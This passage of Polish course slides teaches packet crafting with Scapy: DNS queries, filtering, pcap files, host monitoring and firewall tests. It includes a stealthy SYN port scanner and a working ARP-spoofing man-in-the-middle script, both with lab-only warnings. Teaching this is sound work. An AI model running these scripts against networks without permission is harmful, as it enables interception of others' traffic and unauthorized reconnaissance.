Zapytanie DNS w Scapy

Zapytanie DNS w Scapy

# Zapytanie DNS o adres A example.com
dns_req = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="example.com"))
reply = sr1(dns_req, timeout=3, verbose=0)

if reply and reply.haslayer(DNS):
    dns = reply[DNS]
    for ans in dns.an:
        print(f"{ans.rrname} – {ans.rdata}")

Wynik:

b'example.com.' – 93.184.216.34

Można też generować zapytania o typ MX, AAAA, CNAME, TXT.

Schemat zapytania i odpowiedzi DNS

Generowanie zapytań DNS w Scapy umożliwia testowanie serwerów DNS i analizę odpowiedzi bez konieczności używania zewnętrznych narzędzi, takich jak dig czy nslookup. Klasa DNS w Scapy reprezentuje protokół DNS, a DNSQR (DNS Question Record) pozwala na określenie zapytania: nazwy domeny (qname) i typu rekordu (qtype, domyślnie A). Oprócz zapytań o rekordy A (adres IPv4), Scapy obsługuje wszystkie typy DNS: AAAA (IPv6), MX (serwer pocztowy), CNAME (alias), NS (serwer nazw), TXT (tekst) i wiele innych. Odpowiedź DNS jest analizowana przez dostęp do warstwy DNS i iterację po rekordach odpowiedzi (dns.an). Scapy potrafi również generować zapytania o transfer strefy DNS (AXFR), co jest przydatne w testach bezpieczeństwa – jeśli serwer DNS pozwala na transfer strefy, atakujący może poznać pełną mapę domen wewnętrznych. W laboratorium zapytania DNS z Scapy służą do nauki budowania nagłówka DNS i analizy odpowiedzi.

48/60
Filtrowanie w Scapy

Filtrowanie w Scapy

Sniff z filtrem BPF:

pkts = sniff(filter="tcp port 80", count=10)

Filtrowanie po przechwyceniu (Python):

# Tylko pakiety HTTP (TCP port 80)
http_pkts = [p for p in pkts if p.haslayer(TCP) and p[TCP].dport == 80]

# Tylko SYN pakiety
syn_pkts = [p for p in pkts if p.haslayer(TCP) and p[TCP].flags == "S"]

# Tylko z konkretnego źródła
src_pkts = [p for p in pkts if p.haslayer(IP) and p[IP].src == "192.168.1.1"]

Scapy oferuje też composite filters – łączenie filtrów wyrażeniami Python.

Filtrowanie listy pakietów

Filtrowanie pakietów w Scapy można realizować na dwóch poziomach: podczas przechwytywania (sniff) za pomocą filtrów BPF oraz po przechwyceniu za pomocą wyrażeń Pythona. Filtry BPF są bardziej wydajne, ponieważ odrzucają niepotrzebne pakiety już w jądrze systemu operacyjnego, zanim trafią do przestrzeni użytkownika. Filtrowanie po przechwyceniu w Pythonie jest wolniejsze, ale oferuje znacznie większą elastyczność – można łączyć warunki dotyczące różnych warstwy protokołów, korzystać z wyrażeń regularnych i tworzyć złożone logiki filtrujące. Metoda haslayer() sprawdza, czy pakiet zawiera określoną warstwę, a dostęp do pól odbywa się przez indeksowanie: p[IP].src. Scapy oferuje również możliwość tworzenia własnych funkcji filtrujących, które można przekazać do parametru lfilter w sniff(). Dla zaawansowanych zastosowań dostępne są filtry kompozytowe, łączące warunki za pomocą operatorów logicznych Pythona (and, or, not).

49/60
wrpcap() i rdpcap()

wrpcap() i rdpcap()

Zapis przechwyconych pakietów do pliku pcap:

# Zapis do pliku
pkts = sniff(count=100)
wrpcap("capture.pcap", pkts)

# Odczyt z pliku
pkts = rdpcap("capture.pcap")
print(f"Liczba pakietów: {len(pkts)}")
pkts[0].show()

Scapy czyta i zapisuje w formacie pcap (libpcap) oraz pcapng.

Można otworzyć pliki z Wireshark/tcpdump w Scapy i analizować.

Schemat: sniff → wrpcap → plik.pcap → rdpcap

Funkcje wrpcap() i rdpcap() w Scapy umożliwiają zapis i odczyt plików w formatach pcap i pcapng, które są standardem w analizie ruchu sieciowego. Dzięki temu pakiety przechwycone przez Scapy mogą być analizowane w Wireshark i odwrotnie – pliki pcap z Wireshark mogą być wczytywane do Scapy do dalszej programowej obróbki. wrpcap() zapisuje listę pakietów (PacketList) do pliku, zachowując znaczniki czasowe. rdpcap() odczytuje plik i zwraca obiekt PacketList z wszystkimi pakietami. Można również użyć funkcji PcapReader() do sekwencyjnego odczytu dużych plików bez ładowania ich w całości do pamięci – jest to zalecane przy plikach pcap o rozmiarze setek megabajtów lub gigabajtów. Połączenie sniff() → wrpcap() → rdpcap() → analyze() to typowy przepływ pracy w analizie sieciowej z użyciem Scapy, pozwalający na przechwycenie ruchu, zapis do pliku, a następnie szczegółową analizę.

50/60
Skrypt testujący Scapy

Skrypt testujący wiele scenariuszy

#!/usr/bin/env python3
from scapy.all import *
import time

def test_ping(host):
    pkt = IP(dst=host)/ICMP()
    reply = sr1(pkt, timeout=2, verbose=0)
    return reply is not None

def test_port(host, port):
    pkt = IP(dst=host)/TCP(dport=port, flags="S")
    reply = sr1(pkt, timeout=2, verbose=0)
    if reply and reply.haslayer(TCP):
        return reply[TCP].flags
    return None

# Główny test
hosts = ["8.8.8.8", "1.1.1.1", "192.168.1.1"]
for h in hosts:
    print(f"{h}: ping={'OK' if test_ping(h) else 'FAIL'}")

Taki skrypt można uruchomić cron/scheduler i zbierać wyniki do pliku.

Terminal z uruchomionym skryptem

Skrypt testujący Scapy pokazuje, jak w kilkunastu linijkach Pythona zbudować narzędzie do monitorowania dostępności wielu hostów. Funkcje test_ping() i test_port() implementują odpowiednio test ICMP i test TCP SYN, a pętla główna iteruje po liście hostów i wyświetla wyniki. Taki skrypt można uruchomić z poziomu cron (Linux) lub Task Scheduler (Windows) i zbierać wyniki do pliku CSV, tworząc historyczne dane o dostępności serwerów. Skrypt można rozbudować o obsługę timeout, wielowątkowość (dla szybszego testowania wielu hostów równocześnie) oraz generowanie alertów w przypadku braku odpowiedzi. W środowisku laboratoryjnym podobne skrypty są używane do automatycznej weryfikacji poprawności konfiguracji sieci po wprowadzeniu zmian. Scapy sprawdza się w tej roli lepiej niż systemowy ping, ponieważ pozwala na testowanie dowolnych portów TCP i generowanie różnych typów pakietów w ramach jednego skryptu.

51/60
Skaner portów Scapy

Skaner portów w 10 linijkach

#!/usr/bin/env python3
from scapy.all import *

host = "192.168.1.1"
ports = [22, 80, 443, 8080, 3306]

for port in ports:
    pkt = IP(dst=host)/TCP(dport=port, flags="S")
    reply = sr1(pkt, timeout=1, verbose=0)
    if reply and reply.haslayer(TCP):
        flags = reply[TCP].flags
        if flags == "SA":
            print(f"Port {port}: otwarty (SYN-ACK)")
        elif flags == "RA":
            print(f"Port {port}: zamknięty (RST)")

To jest implementacja TCP SYN scan – szybki, niezauważalny skaning.

Skanowanie bez zgody jest nielegalne. Używaj tylko we własnej sieci!
Schemat SYN scan: SYN → SYN-ACK / RST

Skaner portów w Scapy to klasyczny przykład wykorzystania biblioteki do testowania bezpieczeństwa sieci. Implementacja TCP SYN scan (half-open scan) wysyła pakiety z flagą SYN i analizuje odpowiedź: SYN-ACK oznacza port otwarty, RST oznacza port zamknięty, a brak odpowiedzi może oznaczać filtr lub stan. W przeciwieństwie do pełnego połączenia TCP (connect scan), SYN scan nie nawiązuje pełnej sesji, przez co jest trudniejszy do wykrycia przez systemy IDS/IPS. W podanym przykładzie skanowane są porty 22 (SSH), 80 (HTTP), 443 (HTTPS), 8080 (HTTP proxy) i 3306 (MySQL) na hoście 192.168.1.1. Skaner można rozszerzyć o skanowanie zakresu portów w pętli, obsługę timeout i wyświetlanie wyników w czytelnej tabeli. Należy bezwzględnie pamiętać, że skanowanie bez zgody właściciela sieci jest nielegalne i może być uznane za przygotowanie do ataku. Scapy w kursach bezpieczeństwa służy wyłącznie do demonstracji w kontrolowanym środowisku laboratoryjnym.

52/60
ARP spoofing – demonstracja

ARP spoofing – demonstracja w laboratorium

#!/usr/bin/env python3
from scapy.all import *
import time

target_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
attacker_mac = "00:11:22:33:44:55"

spoof_pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2, psrc=gateway_ip, hwsrc=attacker_mac, pdst=target_ip
)

print("Wysyłanie ARP spoof... (Ctrl+C aby zatrzymać)")
try:
    while True:
        sendp(spoof_pkt, verbose=0)
        time.sleep(1)
except KeyboardInterrupt:
    print("Zatrzymano")

Po uruchomieniu – ruch ofiary do bramy przechodzi przez atakującego.

UWAGA: Tylko w laboratorium, na własnym sprzęcie!

Scapy jest często używany w kursach bezpieczeństwa do demonstracji ataków – zawsze w kontrolowanym środowisku.
Schemat ARP spoofing: ofiara, atakujący, brama

Demonstracja ARP spoofing z użyciem Scapy to zaawansowany przykład ilustrujący, jak działa atak typu man-in-the-middle (MITM) w sieci LAN. Skrypt wysyła sfałszowane odpowiedzi ARP (gratuitous ARP), w których adres IP bramy (gateway_ip) jest przypisany do adresu MAC atakującego (attacker_mac). Oszukany host docelowy (target_ip) zaczyna wysyłać cały ruch do bramy przez atakującego, który może przechwytywać i modyfikować pakiety. Skrypt działa w pętli nieskończonej, wysyłając sfałszowane ARP co sekundę, aby utrzymać zatrutą tabelę ARP ofiary. Po zatrzymaniu skryptu (Ctrl+C) tabela ARP wróci do normy po kilkudziesięciu sekundach lub po ręcznym wyczyszczeniu (arp -d). ARP spoofing jest skuteczny tylko w sieciach LAN, gdzie protokół ARP nie ma żadnych mechanizmów uwierzytelniania. W nowoczesnych sieciach stosuje się techniki ochrony takie jak Dynamic ARP Inspection (DAI) na przełącznikach zarządzalnych.

53/60
Testowanie firewalla w Scapy

Firewall testing z Scapy

#!/usr/bin/env python3
from scapy.all import *

firewall_ip = "10.0.0.1"

# Test: czy firewall przepuszcza ICMP?
reply = sr1(IP(dst=firewall_ip)/ICMP(), timeout=2, verbose=0)
print(f"ICMP: {'OK' if reply else 'BLOCKED'}")

# Test: czy port 22 (SSH) jest otwarty?
reply = sr1(IP(dst=firewall_ip)/TCP(dport=22, flags="S"), timeout=2, verbose=0)
if reply and reply.haslayer(TCP):
    print(f"SSH (22): flags={reply[TCP].flags}")

# Test: czy firewall blokuje konkretny port?
for port in [21, 23, 25, 135, 445]:
    reply = sr1(IP(dst=firewall_ip)/TCP(dport=port, flags="S"), timeout=1, verbose=0)
    if reply and reply.haslayer(TCP) and reply[TCP].flags == "SA":
        print(f"Port {port}: OTWARTY (może być podatnością!)")
Skrypt Scapy → firewall → wyniki

Testowanie reguł firewalla za pomocą Scapy pozwala na precyzyjną weryfikację każdej reguły dostępu w sposób zautomatyzowany. Skrypt wysyła pakiety testowe do firewalla i analizuje odpowiedzi, aby określić, które porty i protokoły są przepuszczane. Test ICMP sprawdza, czy firewall odpowiada na ping – wiele organizacji blokuje ICMP w celach bezpieczeństwa, co utrudnia diagnostykę, ale jest zalecane. Test SSH (port 22) sprawdza dostępność usługi administracyjnej. Testowanie podejrzanych portów (21-FTP, 23-Telnet, 25-SMTP, 135-RPC, 445-SMB) pozwala na wykrycie niebezpiecznych, otwartych usług, które mogą stanowić wektor ataku. Skrypt można rozszerzyć o testowanie wszystkich 65535 portów TCP i UDP, ale wymaga to odpowiedniego czasu i może być odebrane jako atak. W praktyce testowanie firewalla z Scapy wykonuje się w ramach audytów bezpieczeństwa i testów penetracyjnych po uzyskaniu pisemnej zgody.

54/60
Scapy vs inne narzędzia

Scapy vs inne narzędzia

CechaScapyWireshark/tcpdumphping3Ostinato
GenerowanieTak (dowolne pakiety)NieTak (ograniczone)Tak (GUI)
SniffingTakTakOgraniczonyTak
ProgramowalnośćPełna (Python)Ograniczona (tshark)Skrypty bashPliki .ost
WydajnośćNiska (Python)Wysoka (C)ŚredniaWysoka (C++)
Nauka protokołówDoskonałaDobraSłabaŚrednia
Tabela porównawcza z ikonami

Porównanie Scapy z innymi narzędziami podkreśla unikalną pozycję tej biblioteki w ekosystemie narzędzi sieciowych. Podczas gdy Wireshark i tcpdump są przede wszystkim analizatorami (snifferami) o bardzo wysokiej wydajności i bogatych możliwościach dekompozycji protokołów, Scapy oferuje dodatkowo możliwość generowania dowolnych pakietów. hping3 i Ostinato również generują pakiety, ale nie oferują programowalności Pythona i możliwości łatwego łączenia generowania z analizą. Scapy jest więc narzędziem uniwersalnym, które w jednym skrypcie może wygenerować ruch, przechwycić odpowiedzi, przeanalizować je i zapisać wyniki. Wadą jest wydajność – Python narzuca ograniczenia szybkościowe, które dla testów powyżej 100 Mb/s stają się problematyczne. W takich przypadkach należy sięgnąć po Ostinato (do 10 Gb/s z DPDK) lub dedykowane generatory sprzętowe (400 Gb/s+).

55/60
Ograniczenia Scapy

Na co uważać?

  • Wydajność – Python jest wolny. Przy > 1000 pps Scapy może nie nadążać. Do testów wydajności użyj Ostinato lub hping3.
  • Uprawnienia – root/admin do surowych gniazd. Bez tego send() i sniff() nie działają.
  • Windows + Npcap – wymaga Npcap, nie działa z WinPcap.
  • Duże pakiety – Scapy może mieć problem z pakietami > 65535 B (IPv6 jumbogramy).
  • Dokładność czasowa – Python nie gwarantuje precyzyjnych odstępów między pakietami.

Rozwiązania: Scapy + Cython, Scapy + wielowątkowość, Scapy + pypy.

Lista ostrzeżeń z ikonami

Ograniczenia Scapy wynikają głównie z natury języka Python, który jest językiem interpretowanym z wątkiem globalnej blokady interpreteru (GIL). Przy generowaniu powyżej 1000 pakietów na sekundę Scapy zaczyna tracić pakiety i nie jest w stanie utrzymać zadanej szybkości. Dla testów wydajnościowych, gdzie wymagane są dziesiątki tysięcy pakietów na sekundę, należy użyć Ostinato lub hping3. Kolejnym ograniczeniem są uprawnienia – Scapy wymaga dostępu do surowych gniazd (raw sockets), co na Linux oznacza uprawnienia root, a na Windows wymaga uruchomienia jako Administrator i zainstalowanego Npcap. Duże pakiety (powyżej 65535 B) mogą powodować błędy w Scapy, szczególnie w przypadku IPv6 jumbogramów. Dokładność czasowa jest również ograniczona – Python nie gwarantuje precyzyjnych odstępów między pakietami, co ma znaczenie w testach wymagających mikrosekundowej precyzji. Rozwiązaniem tych problemów jest użycie Scapy w połączeniu z PyPy (szybszy interpreter) lub Cython (kompilacja do C).

56/60
Kiedy użyć narzędzia

Kiedy użyć którego narzędzia?

  • RouterOS Traffic Generator – szybki test w infrastrukturze MikroTik, bez dodatkowego sprzętu
  • Ostinato – testowanie firewall i urządzeń sieciowych w laboratorium, GUI, wiele strumieni
  • Scapy – edukacja, prototypowanie, automatyzacja, niestandardowe protokoły, bezpieczeństwo
  • hping3 – szybkie testy CLI, sprawdzanie pojedynczych reguł, ataki DoS
  • iperf3 – tylko pomiar przepustowości TCP/UDP (nie generowanie dowolnych pakietów)
Cztery ikony narzędzi z podpisami

Wybór odpowiedniego narzędzia do generowania ruchu zależy przede wszystkim od celu testu i dostępnych zasobów. RouterOS Traffic Generator jest idealny do szybkich testów w infrastrukturze MikroTik, szczególnie gdy nie mamy dostępu do komputera z generatorami programowymi. Ostinato sprawdza się w laboratoriach wymagających wielu jednoczesnych strumieni, precyzyjnej kontroli szybkości i przyjaznego interfejsu graficznego. Scapy jest niezastąpiony w edukacji, prototypowaniu i automatyzacji – student może w jednym skrypcie połączyć generowanie, przechwytywanie i analizę. hping3 to narzędzie z wyboru dla administratorów pracujących w terminalu, którzy potrzebują szybko sprawdzić regułę firewalla bez uruchamiania GUI. iperf3 ma bardzo wąskie zastosowanie – wyłącznie pomiar przepustowości TCP/UDP, ale robi to lepiej niż jakiekolwiek inne narzędzie. W praktyce warto mieć w swoim arsenale co najmniej dwa-trzy narzędzia i wybierać je stosownie do potrzeb.

57/60
Tabela porównawcza narzędzi

RouterOS TG vs Ostinato vs Scapy vs hping3

KryteriumRouterOS TGOstinatoScapyhping3
PlatformaRouterOSWindows, Linux, macOSWszystkie (Python)Linux/Unix
InterfejsCLIGUI + Drone APIPython APICLI
Maks. wydajność~1 Gb/s (CPU-bound)> 10 Gb/s (z DPDK)~100 Mb/s~500 Mb/s
ProtokołyUDP, TCP, ICMPEthernet, IP, TCP, UDP i wieleDowolne (programowalne)TCP, UDP, ICMP, raw
SniffingOgraniczony (monitor)TakTakOgraniczony
AutomatyzacjaSkrypty RouterOSPliki .ost, Drone APIPełna (Python)Skrypty bash
KosztDarmowy (w RouterOS)Darmowy (open source)Darmowy (open source)Darmowy (open source)
Cztery loga w nagłówku tabeli

Szczegółowa tabela porównawcza uwidacznia różnice między czterema głównymi generatorami ruchu omawianymi w tej części. RouterOS Traffic Generator wyróżnia się brakiem kosztów (zawarty w RouterOS) i prostotą konfiguracji, ale jest ograniczony do jednej platformy i oferuje podstawową kontrolę pakietów. Ostinato zapewnia najlepszy balans między wydajnością a łatwością użycia, wspiera wiele protokołów i oferuje zarówno GUI, jak i API Drone do automatyzacji. Scapy daje największą elastyczność dzięki Pythonowi, ale kosztem wydajności – maksymalnie około 100 Mb/s. hping3 jest najszybszym narzędziem CLI, ale ograniczonym do protokołów TCP, UDP, ICMP i raw IP. Wszystkie cztery narzędzia są darmowe i open source, co czyni je dostępnymi dla każdego studenta i inżyniera. Dla testów wymagających przepustowości powyżej 10 Gb/s niezbędne są komercyjne generatory sprzętowe IXIA lub Spirent.

58/60
Pytania kontrolne wiedzy

Sprawdź swoją wiedzę

  1. Pytanie: Jakie są ograniczenia RouterOS Traffic Generator?

Odpowiedź: CPU-bound, tylko RouterOS, ograniczona kontrola pakietów (brak warstwy 2), brak zapisu pcap.

  1. Pytanie: Czym różni się send() od sendp() w Scapy?

Odpowiedź: send() wysyła na warstwie 3 (IP) – wymaga routingu. sendp() wysyła na warstwie 2 (Ethernet) – wymaga interfejsu.

  1. Pytanie: Jaka jest różnica między sr() a sr1() w Scapy?

Odpowiedź: sr() wysyła pakiet i zwraca wszystkie odpowiedzi (para: wysłane, nieodebrane). sr1() zwraca tylko pierwszą odpowiedź.

  1. Pytanie: Do czego służy Drone w Ostinato?

Odpowiedź: Drone to serwer Ostinato odpowiedzialny za wysyłanie i odbieranie pakietów. GUI łączy się z Drone przez sieć.

Ikona znaku zapytania

Pytania kontrolne sprawdzają zrozumienie kluczowych koncepcji omówionych w tej części. Ograniczenia Traffic Generator (CPU-bound, tylko RouterOS, brak warstwy 2 i zapisu pcap) są istotne przy planowaniu testów w sieciach MikroTik. Różnica między send() a sendp() w Scapy (warstwa 3 vs warstwa 2) jest fundamentalna dla zrozumienia, jak działa wysyłanie pakietów w Scapy. Różnica między sr() a sr1() (wszystkie odpowiedzi vs pierwsza odpowiedź) wpływa na sposób implementacji narzędzi sieciowych. Rola Drone w Ostinato jako serwera odpowiedzialnego za fizyczne wysyłanie i odbieranie pakietów jest kluczowa dla zrozumienia architektury klient-serwer tego narzędzia. Dodatkowe pytania mogą dotyczyć formatu plików .ost (XML), filtrów BPF w Scapy oraz różnic między protokołami UDP i TCP w kontekście generowania ruchu testowego.

59/60
Zadanie praktyczne

Wykonaj samodzielnie

  1. Napisz skrypt Scapy, który wyśle ping do 8.8.8.8 i wyświetli czas odpowiedzi (TTL).
  2. Rozszerz skrypt o testowanie portów 22, 80, 443 na swoim routerze – wypisz, które są otwarte.
  3. W Ostinato: utwórz strumień UDP z portu 5000 do 6000, payload losowy, rate 10 Mb/s. Uruchom na 30 sekund.
  4. W RouterOS: skonfiguruj Traffic Generator z interfejsem VLAN 100 i uruchom test UDP 50 Mb/s przez 60 sekund. Zapisz statystyki.
Ikony zadań do wykonania

Zadania praktyczne zostały tak dobrane, aby student samodzielnie przećwiczył omawiane narzędzia w działaniu. Zadanie 1 (ping w Scapy) wymaga użycia sr1() i odczytu TTL, co jest podstawową umiejętnością przy pracy z biblioteką. Zadanie 2 (skaner portów) rozszerza umiejętności o pracę z warstwą TCP i analizę flag odpowiedzi. Zadanie 3 (Ostinato) wymaga zapoznania się z GUI, edytorem warstw i konfiguracją strumienia – kluczowe umiejętności przy testowaniu firewalli. Zadanie 4 (RouterOS) łączy konfigurację VLAN z Traffic Generator i wymaga znajomości konsoli MikroTik. Wszystkie zadania można wykonać w laboratorium z podstawowym sprzętem sieciowym i komputerem z Pythonem. Zachęca się do eksperymentowania z różnymi parametrami i porównywania wyników, co rozwija umiejętność analitycznego myślenia i rozwiązywania problemów sieciowych.

60/60
Koniec części 11

Koniec części 11

Dziękujemy za uwagę. W następnej części poznamy metody analizy ruchu sieciowego – narzędzia takie jak Wireshark, tshark, narzędzia do statystyk, generowanie wykresów oraz zaawansowane techniki analizy protokołów.

Zakończenie prezentacji

Generowanie ruchu sieciowego to niezbędna umiejętność każdego inżyniera sieciowego, pozwalająca na kontrolowane testowanie infrastruktury przed wdrożeniem i podczas diagnostyki. W tej części poznaliśmy trzy główne narzędzia: RouterOS Traffic Generator do szybkich testów w ekosystemie MikroTik, Ostinato do zaawansowanych testów wielostrumieniowych z interfejsem graficznym oraz Scapy do programowej manipulacji pakietami w Pythonie. Każde z tych narzędzi ma swoje mocne strony i ograniczenia, a umiejętność wyboru odpowiedniego narzędzia do zadania jest cechą dobrego inżyniera. W kolejnej części przejdziemy do praktycznej analizy przechwyconego ruchu z użyciem Wireshark, tshark oraz narzędzi do generowania wykresów i statystyk. Zachęcamy do samodzielnego eksperymentowania z poznanymi narzędziami – praktyka jest najlepszym sposobem na utrwalenie wiedzy.